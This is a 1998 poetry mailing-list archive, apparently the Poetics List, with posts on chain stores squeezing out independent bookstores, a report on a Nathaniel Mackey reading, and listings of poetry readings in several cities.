I'll quote you again: "we now know that the person who IS in on the secret ploys of the big bookstores is 'the proprietor of one of the independent bookstores in harvard square.'" I feel compelled to remind you that many, many others are on to them as well. Just because you don't have firsthand knowledge of this doesn't mean it's not true, & I'm at a loss to understand why you're so dismissive of those of us who've looked into the subject at any length. If "dismissive" is a

misinterpretation of your words, I apologize again. That's how you're coming across. To me, at least.

As Jonathan Mayhew points out, some chain-bookstore practices ultimately have consequences further-reaching than who will make money from what. I don't think he'd be surprised to hear that the senate subcommittee hearings I mentioned earlier were undertaken to determine whether or not chain bookstores were in collusion with the largest NYC presses as regards pricing and returns policies that, in effect, destroyed chances for smaller publishers to participate. The hearings were labeled "anti-trust" hearings. Again, some understanding of how monopolies are created & maintained in this culture, and what the consequences tend to be, is necessary, I think, in being able to determine the value of resistance. Not to mention specific options open to those genuinely wanting to resist.

To offer one answer Katy's question here: "why are these [independent] owners any 'nicer' than other owners?" -- the point isn't niceness, but diversity. Again, chain bookstores, in proven collaboration with the larger presses, have different, and much more rigid book-buying policies than independent bookstores. B&N's return policy alone has really hurt Coffee House Press (one of the larger nonprofits in the country), to the point where they were--at the time I worked there, four years ago or so--reconsidering dealing with the chains at all. And CHP has an annual budget of over a million dollars a year (or did then).

Long ago on this list, I posted a sort of mini-history of Bookslinger's demise . . . in great part the result of Consortium's business practices. I won't repost that here, but you can find it, early 95, in the archives, if you're at all interested in this sort of thing. Bookslinger, by the way, was comparable to SPD. Consortium isn't.

I'm not angry with you, Daniel, and I hope that I'm not coming across that way. But I have to say, I'm surprised--having seen you read recently at Zinc--that someone as dedicated to Olson's art as you are (or seemed to be, to me) is unsympathetic to some of the more general social concerns addressed in his _Maximus Poems_.

Anyway . . . my dimes have been spent, too . . . I'm glad to see others with some experience/knowledge w/respect to this subject piping in . . . people DO care about this, Daniel . . .

Yours,

Gary

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383. **Judy Roitman**

Re: more closings

Wed 15 Apr 1998

> *Just try getting your local micro-press, or any press not on the master list, into Borders or B & N. Books by local authors occasionally manage to get in (shelved in the local interest section, no matter what sort of book it is), and other books absolutely cannot.*
>
> *I was pleased to find books by Ange Mlinko, Lisa Jarnot, Peter Gizzi and several other young writers at Waterstone's on Newbury St. in Boston. It's a massive store, and a massive chain (in the UK particularly). This is, though, as you say rare; but maybe the beginning of a trend? It doesn't sound as if anybody here wouldn't -want- their book to be in Borders, or would refuse to have it there -- should the big co.s decide to patronise books relatively marginal to money, how would they be stopped? Why do so many 'small press' books in the US have ISBNs? Doesn't everyone quite plainly WANT to be less benooked? Follow your own logic..*

If the big companies decided to give local managers local control and let a thousand thousand small publishers bloom, who would complain? But Borders and B&N don't do that. They do something much more subtle, picking up a small number of small presses that have shown some base of loyal readers, but not encouraging others. If you go to the Barnes and Noble in the Plaza in Kansas City you might get all excited because as a matter of course they do carry, say, books by Susan Howe. But if you look closely at the publisher you'll discover that what most of us consider interesting books on their shelves are coming from a very small number of presses, most of them university presses. Other presses need not apply.

They also put pressure on publishers to cut them deals. Marginal presses can't do that.

I have also known them to tell people that in-print books from publishers not on their master list were out of print and could not be ordered. I tend not to believe in conspiracy theories, so suspect this might just be incompetent local staff.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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384. **Mark Weiss**
Re: more closings
Wed 15 Apr 1998

As a publisher my experience with the chains has been marginal--mostly special orders and occasional large orders, almost entirely returned, of books by readers at a given store. My understanding is that they operate by assigning a value per inch or foot of shelf space--the given space must produce x amount of sales per unit of time, otherwise the stock is reshuffled. This requires a lot of traffic, which in turn requires a high-rent loaction, which in turn requires optimum sales per shelf unit, etc. It does work within their criteria--they make a lot of money. So they're not going to carry a lot of my books. The system also requires that customers not linger--that slows the traffic. Poetry customers linger--we taste a lot before we decide. A low-traffic indie, which provides the time to linger, usually has a lower profit-per-shelf-unit expectation, so books that don't sell can stay on the shelves longer. On the down side, they rarely buy more than one or two copies, they often pay grudgingly, and when they agree to take a book from a small press publisher it's usually in a face-to-face encounter in which this publisher, at least, is made to feel like a pauper at the gate, hat in hand. Labor-intensive and unrewarding. And the books usually sit on the shelves until they are covered with dust or dog-eared beyond recognition. And what are we talking about nation-wide, 40 stores? Mailorder can sell books, but you can't browse, which means only books already known to the reader get ordered. Hard to make a surprise discovery at Amazon.com. Witness my recent offering of half-priced copies of two Junction titles to the list. Only a very few ordered (thank you), even at give-away prices. I sell, one way or another, a fair number of books to individuals, but library sales via wholesalers are what keep this press afloat, and I do hope those copies get read. Wholesalers, like bookstores, require ISBNs (and barcodes), as do the major journals that review books for the library trade. That's why we have ISBNs.

It
>doesn't sound as if anybody here wouldn't -want- their book to be in
>Borders, or would refuse to have it there -- should the big co.s decide to
>patronise books relatively marginal to money, how would they be stopped?
>Why do so many 'small press' books in the US have ISBNs? Doesn't everyone
>quite plainly WANT to be less benooked? Follow your own logic..
>
>

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385. **MAYHEW**
Re: more closings
Wed 15 Apr 1998

I think Gary Sullivan might have given me credit for insights made by others; I have relatively little expertise in this question compared to those who have more experience working in bookstores and in publishing or who've followed the news reports more assiduously.

I bought some books from Amazon and they've helpfully suggested other books that might interest me:

"Hello, Jonathan Mayhew, Based on the items you've bought at Amazon.com we think you'll like these. Please check back often as the list changes daily":

The Collected Poems of Amy Clampitt
Tales from Ovid (trans. Ted Hughes)
Glare (Ammons)
Wittgenstein's Ladder (Perloff) [a good suggestion but of course I already have it]
Collected Works of Yeats
Collected Poetry and Prose (W. Stevens)
The Odes of Horace
Sonnets (Shakespeare)
Sonnets (Stephen Booth edition)
Complete Poems of Anna Akhmovota
Alive Together (Lisel Mueller)
Bryne (A. Burgess)
Desire (Bidart not Bromige)
Nietzsche in Turin
Passing Through (Kunitz)
War Music (Logue
The Work of Poetry (John Hollander)
The Elgin Affair
The Best American Poetry 1997 (ed. J. TATE)
A Day with Picasso
Collected fiction of Spackmann
Otherwise (J. Kenyon, ed. by donald hall)
The Iron Tracks (Green)
The Norton Shakespeare

This would be frightening if it weren't so far off base.

Jonathan Mayhew
Department of Spanish and Portuguese

University of Kansas
[redacted]

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386. Maria Damon (Maria Damon)
Re: New New New @ Bridge Street Books
Wed 15 Apr 1998

rod rites: 9. _The Tel Quel Reader_, Patrick ffrench and Roland-Francois Lack ed, Routledge, $24.99. Julia Kristeva, Jean-Joseph Goux, Jean-Louis Baudry, Michel Foucault, Michelin Pleynet, Philippe Sollers, Marc Devade, Guy Scarpeta, Roland Barthes. There are 3 pieces by Pleynet, 2 each by Kristeva & Sollers, as well as a chronological history of Tel Quel.

is this the real editors' names? too good to be true!

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387. Maria Damon (Maria Damon)
Re: after emmett
Wed 15 Apr 1998

just chect this out it's cool

At 1:43 PM 4/12/98, Miekal And wrote:
>after emmett
>
>a
>dispersion
>of
>ninetiles
>
>
>a typofantastic epic voyage by Miekal And
>
>http://net22.com/qazingulaza/joglars/afteremmett/bonvoyage.html
>
>
>after emmett was created during april 1998 using selected letters from
>the following fonts: albatross, arial, attic, avant garde, bodoni,
>cochin, contraband, cooper black, courier, exocet heavy, friz quadrata,
>georgia, gilligans island, goudy heavy, goudy oldstyle, goudy thin,
>harlequin, harrington, helvetica, impact, kronk, lemiesz, lubalin graph,
>milano, oakwood, OPTIflare, optima, poster bodoni, potsdam, premium

>truetype, rocky, stonecutter, stiletto, thunderbird, trajan, ultrablack,
>university roman, ursa serif , utopia, vedome, verdana. animations
>rendered using adobe photoshop & the nifty shareware gifbuilder.

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388. **Ctfarmr**
addresses needed
Wed 15 Apr 1998

Anyone with this information -- a backchannel would be greatly appreciated

Forward from Tom Beckett:

Subj: addresses
Date: 98-04-15 05:40:11 EDT
From: [redacted]
To: [redacted]

Bobbie--
Could you, for our project, do a query to the poetics list? I need addresses both ground and electronic for--

Carla Harryman &
Steve Evans (he's apparently somewhere in France now)

Thanks.
tom

[redacted]

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389. **Kevin Varrone**
Reading Announcement
Wed 15 Apr 1998

For those in the Philadelphia area:

5 Corners Poetry Series Presents:

Jennifer McCreary & Rod Smith

Thursday, April 23rd, 8 p.m.
@George's 5th Street Cafe

(Corner of 5th and Gaskill, between Lombard & South Streets)

Call Kevin @ 215/[redacted] for info.

Thanks.

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390. David Zauhar
Nathaniel Mackey reading
Wed 15 Apr 1998

In an under-air conditioned room, in front of about 90 people (most of them decidedly not there to earn extra credit), Nathaniel Mackey read from 3 volumes of his poetry today at UIC. He opened with 3 poems from Eroding Witness (his Jimi Hendrix poem called "Black Snake Visitation," his Coltrane poem entitled "Ohnedaruth's Day Begun" (not sure of the spelling there), and Passing Through, dedicated to the Ghanian scholar Ivan Van Sertima). These are poems that at times can be difficult to get off the page, but NM offered enough background to give attentive listeners something to latch on to (between that, and the fact he has one of the greatest reading voices I ever heard, he did a great job holding the audience in what could have been sleep-inducing conditions). Mackey then moved on to work from School of Udhra, including "Amma Seru's Hammer's Heated Fall," (dedicated to the sculptor Ed Love. And I didn't know this, but Amma Seru is a blacksmith figure from Dogon Mythology) and "Slipped Quadrant." Mackey closed with three parts of the _Song of the Andoumboulou_ (18, 19,20), which will be in the forthcoming _Whatsaid Serif_. I knew that the "Andoumboulou" refers to a funeral song of the Dogon, but I didn't know that, as Mackey pointed out that he just learned, Dogon lore sees the Andoumboulou as earlier versions of humanity that just didn't work out, sort of like "first drafts" of us, in Dogon cosmology. He also pointed out that the "Whatsaid" refers to a figure called the Whatsayer, whose job is to interrupt the story teller by asking questions, interrupting, heckling, or as Mackey put it, "to roughen the weave of the story." (especially interesting in light of Tom Becket's questions awhile back about "stoppage" in poetry). These poems, too, rocked. After reading for about an hour in a stuffy room, Mackey very generously took questions from the audience for 30 additional minutes. Among the many highlights was a response to some very ParisReview-type questions: when asked if he envisioned a particular response in his audience -- say an intellectual response or a particular political act, etc -- when he writes, NM said no, that as a poet he is the "instigator of meaning" and then proceeded to tell of some of the responses he gets via letters, including two ARCHITECTS(!) who have found inspiration in his work. NM pointed out that, if he had set out w/ a pre-established audience response in his mind, there's no way he would ever be surprised like he is in such cases. Tomorrow, NM will lecture here on HD's influence, which I won't post about unless he goes over different ground than he did when Maria heard him two weeks ago. By the way, Whatsaid Serif will be published

by City Lights, and should be out in June. So if you're in Chicago, and you didn't come to UIC, catch Mackey tomorrow at Columbia College on Michigan Avenue.

David Zauhar
University of Illinois at Chicago

to belong to
whatever moves us outward into
the wideness, for journeying...

--Hilda Morley, 1919-1998

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391. **morpheal**
Re: Barnes & Noble & Social Darwinian
Wed 15 Apr 1998

> *continuing publication. A junior editor perusing the print-out discovered this abomination and the Yeat's title was restored. This is what we are moving toward. The price I pay daily for rescuing some of the best our culture and other cultures have produced is eighty hour work weeks, near poverty, and the ridicule and derision of a society that largely because of material excess has discarded its instinct and empathetic regard for life.---Carlo Parcelli*

I agree with you fully about the plight of the small book seller, and in fact the hopeless plight of the small business entrepreneur, who finds he/she must become a bigger and bigger business simply to survive as a business, with less and less hope of making what can be deemed a livelihood. The economics, and the tendency towards higher and higher costs applied to cost of doing business in that mode, are very complicated. Beyond the scope and subject of this listserv.

Disagree most strongly about the latter part as to "instinct and empathic".

The latter "instinct" does not exist anywhere in nature. Nature is brutal. When human beings sink down too near to their natural origins they become brutal. They become the same as the beasts.

That is what separates human beings from beasts. The faculty of reason and the ability to learn what potentiallty distinguishes them from the absolute natural violence that they spring from. Empathy is a combination of emotion and reason. Without the ability to reason there is no empathy. (I do not mean the ability to simply find causal connections, reasons, in explication of events. I mean the whole complexity of cognitive processes that human beings are potentially capable of. That is "Reason" rather than only "reasons".

Human beings can descend down to behaving the same as insects do towards one another. If you have ever observed, closely, and objectively, enough, with enough detachement,...then you know. Compare the evolution of warfare, and its mechanisms, to the development/evolution of insect life and its natural instincts and machinations and you will quickly understand how, for instance, Nazi Germany (for example) descended down to the level of insect life, rather than ascending to the "ubermensch" (above-man).

I think it would do well to some to read more William Seward Burroughs. The insect and the human are a constant theme. I do not know if he ever alluded to the historical instance of Nazi Germany, but that isn't the point I am making.

M.

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392. **morpheal**
Re: more closings (fwd)
Wed 15 Apr 1998

> *I wholly understand your concern not to be misinterpreted. Anyway, I did quote you, & others can decide for themselves whether or not an accusation of paranoia seemed likely in your words. I apologize for my own response if you indeed didn't mean it.*

Actually, to intrude a little dark wit into this apparently stray from the backchannels conversation....

...the phrase that used to plague would be writers, allegedly from Uncle Sam originations was.....

> "Anything you write can and will be used against you in a
> court of anything at all."

There are variants, but that particular variant is the most obvious as to its intentions. Of course, it must certainly come from those who believe that anything that a writer writes is not a true and lordly writ, but is in some ways or others "twisted" use of the languish....I mean...language.

Ah well, we cannot ever be write, or is it rite, promptly having at that very moment to avoid any Freemasons, so we might as well ex-press what we have on our mineds....I mean...minds....

M.

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393. **Schuchat Simon**
Re: more closings
Wed 15 Apr 1998

---

re this bookstore thread:

two principles of economics are involved, one is "Hoteling's paradox" which says that sellers always aim for the center of the market, geographically and otherwise, in order to reach the largest number of buyers.

second principle is from Maoist critique of capitalism: big fish eat the little fish and the little fish eat the shrimps.

however, when I returned to the U.S. after living overseas for seven years I was appalled at the poor selection of poetry & other literature at most of the bookstores in the DC area. (this is 1992 we are talking about) one decent independent store near where I lived was going out of business slowly and had no new stock. the main local chain in dc, which had at earlier times been pretty good, had next to nothing. the main local discount chain had less than nothing. there were two small independent bookstores with excellent poetry stock (Rod Smith knows which ones they were) but I didn't find them immediately, one has since gone out of business and I think in fact the stock from one moved to the other.

however I remember the first time I went to borders, again in 1992 (or early '93) and was amazed to find so much stuff, including poetry.

I don't doubt that the big superstores want to put the small stores out of business, but I don't understand the logic that the big stores will no longer stock the poetry, cultural studies, etc, that they now stock once the independents are out of business. they still have all that shelf space to fill and inch for inch there is not such a high cost in keeping it on the shelf, at least until it sells. (they may not reorder that title, its true, but will the title still be available to be reordered anyway?) admittedly, I have been outside of the U.S. again for three years and don't know what has happened in the interval, certainly the megastore chains have a bigger presence now than five years ago when they were first coming in.

I can understand privileging the petit bourgeois small proprietor in this discourse, over the bureaucratic large scale corporate entity, but that's all we're really talking about. neither of them are in business for their health, right?

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394. **Karen Kelley**
Re: more closings
Wed 15 Apr 1998

I worked in independent bookstores for twelve years, four of those years at an independent Harvard Square bookstore: Reading International. I had carte blanche for ordering for the poetry section, and had a blast: my manager didn't even point out the obvious--that the Grolier was right up the street. Reading International was a union shop, as was Harvard Bookstore, so the employees had been there a long time--usually ten or more years--and made a decent living. Most of us were pre-computerized bookstore people, so we had to know our specific sections pretty well.

I don't think the indies are going down due to conspiracies: it's mostly a case of the computerized inventory system making bookstore owners feel comfortable hiring people who really know very little about books & publishing & paying them very poorly--they figure any idiot can read a computer screen that says: YES we have the book, or NO we don't. AS far as special ordering goes, it's a bit labor intensive, and you pay shipping on an individual book, often get less of a discount from the publisher, and basically no one wants to bother.

The bookstore business used to be a trade. Now it's just a crappy job that no one really wants to have. The profit margins are poor, so intense volume is the only way for an owner to get rich on it.

daniel bouchard wrote:

> *If it was the proprietor of the Grolier, then "paranoid" is the right word.*
>
> *At 08:57 AM 4/15/98 -0500, Maria Damon wrote:*
> *perhaps this is a paranoid fantasy on the part of the person i heard it*
> *from; it was told to me by the proprietor of one of the independent*
> *bookstores in harvard square. keep up the good fight.*
>
> *<<<<<<>>>>>>>>>>>>>>>>>>*
> *Daniel Bouchard*
> *The MIT Press Journals*
> *Five Cambridge Center*
> *Cambridge, MA 02142*
>
> [redacted]
> *phone:* [redacted]
> *fax:* [redacted]
> *<<<<<<<<<<<<<<<<*

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395. **Rachel Levitsky**
Re: more closings
Wed 15 Apr 1998

A friend opened a tiny progressive/gay/lesbian bookstore. Having witnessed it first as a dream, the barn-raising style of its beginnings, the effort put toward the first bank loan approved so the stock could be broadened, and the decline when Barnes & Noble came to the neighborhood, though the problem may also be the lesbian bar next door--those girls were more committed to spending money on social drinking than in going home with the latest Dorothy Allison or they want to apply their 20% Barnes and Noble discount to the next pint of beer. Anyway, it never struck me she expected to get rich from this but alas, some idealistic dream to live surrounded by books and in the hood. Carlo Parcelli's post is eloquent enough here. I am romantic about Adrienne Monier's project and I do see this as political, not at all unrelated to Daniel Bouchard's work with evicted tenants, because it is how things are spread around. At some point we must figure out a way to get together and refuse to pay higher and higher rent for smaller and smaller dumps. And we must refuse to give more and more of our money to fewer and fewer giants. I have just as much trouble as the next person. Everytime I buy underwear and look for the union label and can't find it and buy the underwear anyway because who has the time to search for a union label. I find it really insulting that they write 'assembled in Dominican Republic' like we wouldn't want our panties 'made' there or suggesting that parts are shipped from the U.S. so perhaps it's almost like being made in the U.S. So I was buying Oscar de la Renta bras for a while just cause they had the union label but they no longer exist, can't compete I bet with the cheaper labor.

The ABA via several bookstores in California is suing Barnes and Noble.
There is an article about it on their website:
http://www.bookweb.org/special/19980318/story.html

one little quote:
"According to figures from the NPD Group and the ABA research department, the independent booksellers' market share of adult titles fell 42 percent between 1991 and 1996, from 32 percent to 18.6 percent."

Call me spooked or woowoo but I wont even enter a Barnes and Noble, the energy just reeks like hell. And the coffee upstairs reeks of unsavory practices on the backs of South American coffee growers.

For a while I was ordering from Amazon but now I'm trying to go more directly to distributors like Small Press. I was thinking about ways we as readers could work with our small bookstores to get our need better met. Any ideas? One

thing that worked really well for the Left Hand Book Collective this year was soliciting left profs at CU to have us sell their books.

Pat Pritchett--I think the Left Hand is better than Boulder Bookstore about individual orders--is my own experience.

=rdl

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396. Keston Sutherland
Re: Barnes & Noble & Social Darwinian
Wed 15 Apr 1998

> *Nazi Germany (for example) descended down to the level of insect life*

ACH

further holocaust ethnography

I know that neither bee nor bonnet avails, but it DOES seem quite important, to me at least, that we of all vapid interlopers speak with some precision and care about something so incredibly significant, stop -scapegoating-, maybe I'll implode

↑ Index

397. Marcella Durand
Zinc bar readings
Wed 15 Apr 1998

All right, all right, here I am with some Zinc Bar readings ...

Although belatedly, as I've been away from the computer for a few days.

Anyway, for the next couple of weeks (don't have full list in front of me, sorry)

April 19th: Simon Pettet and Dawn someone (sorry again)

April 26th: Kristen Prevallet and Ted Greenwald.

I'll post May as soon as I filch the list from work.

Also, I remember someone asking about HERE, well HERE are the readings:

April 18th: Julie Patton, Chris Mann

and after that reading, same day...
Poetry Reading in Praise of Forces of Nature, Space Untitled, 137 Greene Street, 6-8 pm, featuring: me, Ted Greenwald, Carter Ratcliff, Vincent Katz, Star Black and Ilka Scobie.

April 25th: Elizabeth Walder and (change in schedule) Camille Roy

May 2nd: Bruce Andrews, Dan Farrell

May 9th: Heather Fuller, Heather Ramsdell (who just gave a great reading at the Poetry Project tonight)

May 16th: Deirdre Kovac, Rod Smith

May 23rd: Jean Day, Andrew Levy

and then zip until fall.

And finally, regarding used bookstores, my personal favorite is the Mercer Street Bookshop on Mercer between Houston and Bleecker. Otherwise, pickings are slim in Megastore-dominated NYC.

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398. **morpheal**
Re: Barnes & Noble & Social Darwinian
Thu 16 Apr 1998

> *Nazi Germany (for example) descended down to the level of insect life*
>
> *ACH*
>
> *further holocaust ethnography*
>
> *I know that neither bee nor bonnet avails, but it DOES seem quite important, to me at least, that we of all vapid interlopers speak with some precision and care about something so incredibly significant, stop -scapegoating-, maybe I'll implode*

Best recent example we have available. Cannot think of a better one.

However, I think the allusion to Burroughs and his use of insect metaphors was more interesting. The part insect, part human. The thing transformed to insect. What is the causality that transforms in that manner, and manifests in that manner, becomes so very intriguing.

M.

↑ Index

399. **Billy Little**
where is David
Thu 16 Apr 1998

----- The following addresses had permanent fatal errors ----- <[redacted]>

anyway Dave

thank you for olding your breat

you silver tongue devil you

↑ Index

400. Hugh Steinberg
Re: Scavenger hunt suggestions
Thu 16 Apr 1998

Thanks everyone for all your suggestions.

Hugh Steinberg

↑ Index

401. Hugh Steinberg
Re: stanza/paragraph (new non)
Thu 16 Apr 1998

Laura writes:

>In working on the latest non additions I've been lead to wonder about
>writers' use of the paragraph and/or stanza. Debrot's new stuff in non seems
>like desiccated paragraphs to me - not surprisingly as it is in relation to
>Tender Buttons - but he calls it 'songs.' Shaw's work seems more stanzaic,
>Scalapino's is mostly prose and Davis is of course all over the map.
>
>In general, the stanza seems more song-like, the paragraph to relate more
>back to prose. I find I am currently using both in different combinations.
>
>Wondered how others relate to using these sub-forms -
>
As a very basic rule of thumb, if the poem is lineated (linebreaks matter,
are deliberate, etc.), then groups of lines are stanzas. If the poem is
unlineated, then the blocks are paragraphs. There are probably exceptions,
of course.

Hugh Steinberg

PS: new non looks great!

↑ Index

402. Mark Melnicove
Publication reading
Thu 16 Apr 1998

P U B L I C A T I O N P A R T Y
on Saturday, April 18
at 3 p.m.

there will be a Reading by John Tagliabue
from his
NEW AND SELECTED POEMS: 1942-1997
(National Poetry Foundation, 388 pp., 19.95 pbk, $49.95 cl)

at Gulf of Maine Books
(founded 1979--one of Maine's oldest independent stores--run by
poet/publisher Gary Lawless and his partner Beth Leonard)
134 Maine Street
Brunswick, Maine
[redacted]

Mark Melnicove
National Poetry Foundation
http://www.ume.maine.edu/~npf

↑ Index

403. Maz881
sf reading
Thu 16 Apr 1998

Dear Poetics List,

Here is a reminder to come to hear Juliana Spahr & Bill Luoma read poetry at New Langton Arts in San Francisco. It's this Saturday April 18 at 8pm. New Langton Arts is located at 1246 Fulsom St between 8th & 9th.

Also note that you will be able to pick of copies of Juliana's Response from Sun & Moon which if you haven't read you should & it won the National Poetry Award. Plus advanced copies of my new collection Works & Days will be available at the reading.

Works & Days . . .

* is co-published by Hard Press and The Figures.
* is 148 pages.
* is 6 x 9.
* sports a color image by James Siena.
* is blurbed by Eileen Myles, Benjamin Friedlander and Alice Notley.

* is not ironic.
* contains misspellings, typos, incorrect usages of capitalization plus many instances of awkward phrasing because Douglass has trouble with these & Helena
died.
* also contains My Trip to New York City, 12 Peanuts & an Easton, Astrophysics & You, we were in burrito, Asheville, The Replacements, The Annotated Trip to NYC, plus a number of reading reports that first appeared here on the Poetics Channel.
* will be available from Rod & Small Press Distribution in a few weeks.
* does not contain any french-influenced or otherwise bland abstract lyrics.
* describes the world in local place type & travel narratives that are allegorical maps for thinking & writing.
* doesn't really tell you how to plant crops like in Hesiod's verison.
* is really a love poem.
* is really poetics.

Hope to see you in SF.

↑ Index

404. **Maryrose11**
Re: where is David
Thu 16 Apr 1998

Billy:

David was in Kansas (where he did a wonderful reading) until yesterday....He is in Boulder (where he will do a wonderful reading at the left hand) today.

↑ Index

405. **Henry Gould**
Re: more closings
Thu 16 Apr 1998

> *I can understand privileging the petit bourgeois small proprietor in this discourse, over the bureaucratic large scale corporate entity, but that's all we're really talking about. neither of them are in business for their health, right?*

I think Rachel Levitsky's last post addressed this pretty well. Some supposedly leftist "discourse" is just as abstracted and distanced from local realities on an intellectual level as big corporations are on a political-economic level. (Follow that?) All politics is local and utopia will be local as well, when we learn how to get along without letting greed and profit sharks rule the roost. Where is the

happy mean between vegetable socialism and ruthless greed - a healthy respect for money and enterprise and careful business practices along with an independence from totalizing effects of mega-capitalism? It's gotta be out there somewhere in the 8th dimension... is it possible that poetry & literature carry the germs of that consciousness within the shark-body of the chains? Not necessarily (most of it is pure sell- yourself). But there is something to be said for INDEPENDENCE, DIVERSITY, COMMUNITY-BASED ENTERPRISE that that reducto-marxism quoted above tends to miss. In the ghetto grows the rose. - Henry Gould

↑ Index

406. **morpheal**

Re: more closings

Thu 16 Apr 1998

> *I think Rachel Levitsky's last post addressed this pretty well. Some supposedly leftist "discourse" is just as abstracted and distanced from local realities on an intellectual level as big corporations are on a political-economic level. (Follow that?) All politics is local and utopia will be local as well, when we learn how to get along without letting greed and profit sharks rule the roost. Where is the happy mean between vegetable socialism and ruthless greed - a healthy respect for money and enterprise and careful business practices along with an independence from totalizing effects of mega-capitalism? It's gotta be out there somewhere in the 8th dimension... is it possible that poetry & literature carry the germs of that consciousness within the shark-body of the chains?*

Essentially, yes, that makes perfect sense. The only real difficulties tend to be education of those you desire to be careful, and regulation such that they are not hog-tied and unable to function in the real world beyond dealing with various departments, agencies, beaurocracies, administrations, at so many levels, in so many areas, in such complicated legislation and formalities, that it takes a skyscraper full of legal eagles, not the average legal beagle (such as the average entrepreneur MIGHT be able to call on (on rare occassion of desparate and dire need) to unravel, deal with, and otherwise survive it. Not to mention the army of accountants.

This is another reason why multi-branch chains tend to win in terms of their being a truly solid investment option as opposed to independent small busienss. It is impossible for the average person, even the exceptional person, to wade through the quagmire. It is impossible to do anything else than wade through the quagmire, and then it is not really a "living", is it ?

> *Not necessarily (most of it is pure sell-yourself).*

No, it is not. No one in fact can self sell, though some _believe_ differently.

This is, in most ways, the world of the "middle man".

To do otherwise than to use the middle man, the agent, the promoter, the distributor, the representative, the professional salesman, is to fail to recognize the necessity, in this culture, of a messiah. The whole tradition, even in its purely secular side, is build wholly of and from that concept.

It is a mediated culture. The immediate relation is most often rendered impossible, ineffective, disempowered, to preserve the role of the middle-man. Of course not everyone can be a middle-man, because if everyone could then everyone would be. Effective representation is the carefully guarded preserve of the few, and not of the many. That is how they keep themselves in business, and are kept in business by those who support the system in terms of status-quo. In turn the middle-man works for those who support the concept and empower it, as well as for whom the middle-man represents as producer of product. That relation maintains the middle-man's borrowed power.

In essence the messianic "license" to effectively sell, represent, promote, is granted by a power-elite.

Surely you know that the Marxists recognized this as being a fact ?

That does not necessarily make it an "evil". I am not value judging the concept, but only stating that that is how it is. Some people have the illusion that they are their own benefactors, their own best promoters, their own sales people, but in every instance I know of, they are deluded and nothing of the sort. They are always promoted, represented, made effective, by someone else. That they do not recognize who their messiah is does not obviate the fact that there is one. They do not have to recognize that fact, but only to live it.

> *But there is something to be said for INDEPENDENCE,*
> *DIVERSITY, COMMUNITY-BASED ENTERPRISE that that reducto-marxism*
> *quoted above tends to miss. In the ghetto grows the rose. - Henry Gould*

Very funny.....

M.

↑ Index

407. **Hank Lazer**
Re: tusc reading
Thu 16 Apr 1998

Poetry Reading
Charles Bernstein
April 16

7:30 p.m.
Morgan Auditorium
University of Alabama

A talk by Charles Bernstein
April 17
noon
301 Morgan
University of Alabama

↑ Index

408. **Judy Roitman**
Re: where is David
Thu 16 Apr 1998

> *Billy:*
>
> *David was in Kansas (where he did a wonderful reading) until yesterday....He is in Boulder (where he will do a wonderful reading at the left hand) today.*

And while he is travelling his e-mail is off.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

409. **k e n n i n g**
how to find?
Thu 16 Apr 1998

Has anyone got a current e-mail address for Taylor Brady? The one I'd been using is suddenly bouncing back, this is the same as listed on his website, etc. Thanks -- Patrick F. Durgin

|
|
k e n n i n g``````|``
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

↑ Index

410. Charles Alexander

more on tucson

Thu 16 Apr 1998

Just a couple of more notes to round out recent and tonight's Tucson activities. Yesterday afternoon Robert Kaufmann gave a talk at the U of Arizona on Adorno and Michael Palmer -- I couldn't be there but would appreciate a report from anyone who was there.

Last night, Susan Aiken and co-editors of the new book, MAKING WORLD: Gender, Metaphor, and Materiality, gave a presentation at Antigone Books, talking about, taking questions and reading from that book which comes out of a conference here on the topic, really about space and metaphors about space and how they work, effect us, and otherwise operate. An attempt to approach the topics cross-discipline, with contributions from art, poetry, queer theory, Nortena gardening, and more. The book was published by Univ. of Arizona Press.

And tonight, there's an event sponsored by Kore Press, and I am forwarding their notice of this event, which appears below:

April 18

A BOOK OPENING for Sylvia Um's THE ROOTED HEART, published by Kore Press 6-8pm at 402 N Main St, the Franklin House.

::::::::::::::::::

I live in the desert where everything
touches the ground
I am
either fluid or menacing
silhouettes strange buds branches
gold-leafed anthropomorphic
forms quiet fracas
I see movement
find the door dear heart take a breath
greater than yours

(from "A schematic drawing of eternal love")

::::::::::::::::::

Sylvia was a student (of Barbara Cully and Susan Aiken among others--and Tenney too, I believe she and I were in your American Lit class years ago) during her undergraduate career in creative and critical writing at the U of A. She was

in her second year of the MFA/poetry program at U of Maryland when she died of heart failure as a result of treatments for Non-Hodgkins Lymphoma in November of '96. Her poems will be read by Boyer Rickel and Barbara Cully. Since Sylvia was an accomplished violinist (playing with AZ Opera Co and UA Symphony Orchestra) there will be a string quartet (comprised of musicians from Tucson Symphony and Tucson Chamber Orchestra) playing from 7-8pm. Music and food and books will follow readings. There will be several members of Sylvia's family there, a few who will be flying in from out of state.

Please spread the word and join us if you can.

cheers,
Lisa Bowden
Kore Press

all for now,

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

411. Joseph Noble
Zinc Bar Readings
Thu 16 Apr 1998

For anyone interested, Anselm Berrigan sent me the schedule of readings for the Zinc Bar for April and May. He's not on the list, so I thought I'd post them. Here they are:

April 19 - Dawn Baude & Simon Pettet

April 26 - Ted Greenwald & Kristen Prevallet

May 3 - Elaine Equi & Joseph Lease

May 10 - Mark Salerno & Magdalena Zurawski

May 17 - Keston Sutherland & Marco Villalobos

May 24 - Sherry Brennan & Maureen Owen

May 31 - Tim Davis & Brian Kim Stefans

Enjoy!

Joseph Noble

↑ Index

412. **Steve Carll**
other readings you won't want to miss
Thu 16 Apr 1998

Friday night, April 17th:

Anselm Berrigan
Edmund Berrigan

at Adobe Books (16th St. @ Guerrero)
7:30 PM (don't know if there's an admission fee for this)

********** &&&

Saturday, April 18th:

Juliana Spahr
Bill Luoma

at New Langton Arts, 1246 Folsom St. between 8th and 9th Sts. 8:00 PM $5-$7

********** &&&&

Sunday, April 19th:

Guy Bennett
Standard Schaefer
